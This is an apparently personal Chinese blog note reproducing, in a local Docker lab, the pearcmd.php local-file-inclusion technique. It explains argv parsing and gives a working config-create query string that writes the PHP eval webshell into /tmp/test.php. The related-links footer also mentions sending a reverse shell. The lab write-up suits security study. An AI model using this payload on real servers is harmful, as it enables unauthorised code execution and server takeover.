本文主要是为了学习如何用pearcmd进行本地文件包含


0x00  环境准备

首先先在docker中安装一个php环境。

docker exec -it [container id] /bin/bash进入docker命令行中

先启动php。docker run -p 80:80 php:****

再docker ps查看ID

进入html目录生成两个文件。

ps:我这么做发现没有vim编辑器.....编辑不了。然后更新源安装vim又失败。还要去改/etc/apt/sources.list.

但是没有vim编辑器又改不了。最后找到了一个方法。

将本机文件赋值到容器里面。

最后成功安装vim。

成功访问。

0x02  复现

在此之前我们需要确定几件事情:

1.我们要找到pearcmd.php的文件位置。正常情况下在/usr/local/lib/php/pearcmd.php

2.我们要开启register_argc_argv选项,当然了docker的PHP镜像是默认开启的。

当我们开启register_argc_argv选项的时候,$_SERVER[‘argv’]就会生效。

$_SERVER['argv'] #传递给该脚本的参数。

也就是说在argv的情况下,pearcmd.php是通过$_SERVER[‘argv’]来获取参数的。

那么我们现在就要利用test2.php来看一下$_SERVER[‘argv’]是如何解析参数的。刚开始是0;

我们传入a=1&b=1。发现并不想之前&是作为分割符。“a=1&b=1”整体被当作字符串执行

然后“+”却被当作了分隔符。

总结一下。&和=都失去了它原先的功能。+变成了分割符号。

#!/bin/sh
# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/local/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/local/bin/php"
fi
fi # then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/local/lib/php" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/local/lib/php"
INCARG="-d include_path=/usr/local/lib/php"
fi
fi exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

pear命令实质上就是调用了pearcmd.php,也就是说我们可以利用pear命令的形式来进行漏洞利用。

那么先让我们了解一下pear命令吧。

PEAR命令是一个PHP扩展包管理工具,它是通过在终端或命令行界面运行pear命令来调用的。PEAR命令本身并不是直接调用pearcmd.php文件,而是通过引用PEAR库和相关文件来执行各种操作。

(1)config-create

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php

加号表示分割。

(这里是向之前环境准备的test.php传参数)

检查docker中的/tmp/test.php。被写入了一句话木马。

(2)

后续没有完成,参考https://blog.csdn.net/Mrs_H/article/details/122386511

利用pearcmd.php本地文件包含(LFI)的更多相关文章

  1. 本地文件包含(LFI)漏洞

    PHP file://封装 PHP php://filter PHP ZIP封装LFI 通过/proc/self/environ执行LFI 空字节技术 截断LFI绕过 通过邮件给目标机器发送一个反弹s ...

  2. php本地文件包含 Writeup

    目录 本地文件包含 LFI本地文件包含案例一 LFI本地文件包含案例二 本地文件包含简介 文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码. ...

  3. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

  4. 本地文件包含漏洞(LFI漏洞)

    0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...

  5. 渗透测试之本地文件包含(LFI)

    一.本地文件包含 本地文件包含漏洞指的是包含本地的php文件,而通过PHP文件包含漏洞入侵网站,可以浏览同服务器所有文件,并获得webshell. 看见?page=标志性注入点,提示我们输入?=pag ...

  6. 文件上传之结合phpinfo与本地文件包含利用

    背景 某站点存在本地文件包含及phpinfo,可以利用其执行脚本. 原理 原理: 利用php post上传文件产生临时文件,phpinfo()读临时文件的路径和名字,本地包含漏洞生成1句话后门 1.p ...

  7. 组合拳 | 本地文件包含漏洞+TFTP=Getshell

    文章声明 安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作. 本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转 ...

  8. Nagios Looking Glass 本地文件包含漏洞

    漏洞名称: Nagios Looking Glass 本地文件包含漏洞 CNNVD编号: CNNVD-201310-682 发布时间: 2013-10-31 更新时间: 2013-10-31 危害等级 ...

  9. WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞

    漏洞名称: WP e-Commerce WordPress Payment Gateways Caller插件本地文件包含漏洞 CNNVD编号: CNNVD-201310-642 发布时间: 2013 ...

  10. phpMyAdmin本地文件包含漏洞

    4 phpMyAdmin本地文件包含漏洞 4.1 摘要 4.1.1 漏洞简介 phpMyAdmin是一个web端通用MySQL管理工具,上述版本在/libraries/gis/pma_gis_fact ...

随机推荐

  1. ​HTML代码混淆技术:原理、应用和实现方法详解

    ​ HTML代码混淆是一种常用的反爬虫技术,它可以有效地防止爬虫对网站数据的抓取.本文将详细介绍HTML代码混淆技术的原理.应用以及实现方法,帮助大家更好地了解和运用这一技术. 一.HTML代码混淆的 ...

  2. 基于迁移学习的基础设施成本优化框架,火山引擎数智平台与北京大学联合论文被KDD收录

    更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,回复[1]进入官方交流群   基于迁移学习的基础设施成本优化框架,火山引擎数智平台与北京大学联合论文被KDD收录 近期,第29届国际知识发现 ...

  3. 火山引擎 DataLeap 推出全链路智能监控报警平台

    更多技术交流.求职机会,欢迎关注字节跳动数据平台微信公众号,回复[1]进入官方交流群 随着大数据开发场景下需要运维管理的任务越来越多,在日常运维中开发者经常会面临以下几个问题: 任务多,依赖关系复杂: ...

  4. 线上活动 | AI 头像变装秀

    ​宝子们,你的头像多久没换了? 送你一个锦囊,让你拥有既独一无二,又千变万化的专属 AI 头像 Hugging Face 将在 7 月 5 日 发起:AI 头像变装秀 ️️️游戏规则️️️ 我们将分享 ...

  5. 密集计算场景下的 JNI 实战

    作者:vivo 互联网服务器团队- Wei Qianzi.Li Haoxuan 在 Java 发展历程中,JNI 一直都是一个不可或缺的角色,但是在实际的项目开发中,JNI 这项技术应用的很少.在笔者 ...

  6. Nacos注册中心搭建

    1.Nacos服务端搭建(需要有java环境),下载地址:https://github.com/alibaba/Nacos/releases 下载对应操作系统的包解压. 1.1.解压:tar -zxv ...

  7. win32com操作word 第十五 Find接口的使用

    最近一直在忙于项目,以至于win32com的视频一直拖更.要不,书面形式更新吧.这次介绍的是Find接口. 假如,要在一篇2万字的文章中找到某些关键词,并返回Range对象,通常可以通过遍历段落 + ...

  8. SetFitABSA: 基于 SetFit 的少样本、方面级情感分析

    SetFitABSA 是一种可以有效从文本中检测方面级情感的技术. 方面级情感分析 (Aspect-Based Sentiment Analysis,ABSA) 是一种检测文本中特定方面的情感的任务. ...

  9. Vue3使用vue-video-player组件

    1.安装依赖(亲测5.0.1版本可用,最新版本会找不到'vue-video-player/src/custom-theme.css'这个样式) yarn add  vue-video-player@5 ...

  10. JS单线程的理解

    一.首先需要区分几个概念: 1. 进程和线程的概念: 进程:指在系统中运行的一个应用程序,目的就是担当分配系统资源(CPU时间.内存等)的基本单位 线程:系统分配处理器时间资源的基本单元,建立在进程的 ...